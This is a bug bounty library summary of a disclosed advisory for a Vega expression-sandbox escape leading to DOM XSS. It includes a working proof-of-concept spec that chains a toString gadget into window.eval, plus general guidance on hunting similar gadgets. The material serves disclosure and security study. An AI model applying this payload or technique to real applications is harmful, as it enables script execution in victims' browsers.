# Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable

Vega expression sandbox bypass via toString gadget on VEGA_DEBUG global yields DOM XSS when untrusted specs are rendered.

- Payout: Research
- Severity: high
- Program: Vega
- Found by: nickcopi, kachkaev
- Disclosed: 2025-11-13
- CVE: CVE-2025-59840
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7f2v-3qq3-vvjf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7f2v-3qq3-vvjf
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:sandbox-escape vuln:xss

**Target:** vega-expression / vega-interpreter expression evaluator in browser
**Root cause:** Expression sandbox permits member access to window objects; a crafted object overriding toString with a global gadget function (CanvasHandler.prototype.on) is implicitly invoked during coercion, reaching eval.
**Steps:**
1. Load a Vega spec with a signal whose update is `({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1`
2. Bind the signal to a mousemove event on window
3. Move the mouse to trigger the update; `+1` coerces the object, calling toString = CanvasHandler.prototype.on
4. on() calls this.eventName(undefined) -> console.log returns undefined; indexes _handlers[undefined] returning the payload string; calls _handlerIndex (window.eval) on it
5. Payload executes in page origin
**How found:** Noted that expressions can member-get window objects; searched global scope for a function usable as a toString gadget that internally calls attacker-controlled properties (eventName, _handlers, _handlerIndex) to reach eval.
**Exploitation:** Attacker supplies a malicious Vega JSON spec to an app that attaches vega/View to window (like the Vega editor); victim mousemove triggers the signal update, coercing the crafted object and routing the payload string into window.eval, achieving DOM XSS in the app origin.
**Insight:** When an expression sandbox allows member access to window, hunt for global functions whose internal `this.x(...)` calls can be repurposed as coercion gadgets (toString/valueOf) to smuggle a string into eval; VEGA_DEBUG and libraries like jQuery ($.globalEval) are candidate gadget sources.

## Proof of concept (copied exactly from the original report)

**Malicious Vega spec signal with toString gadget payload**

```
{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}
```

**toString gadget object calling CanvasHandler.on for eval**

```
({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1
```

**Gadget on() method showing eval sink flow**

```
on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
```

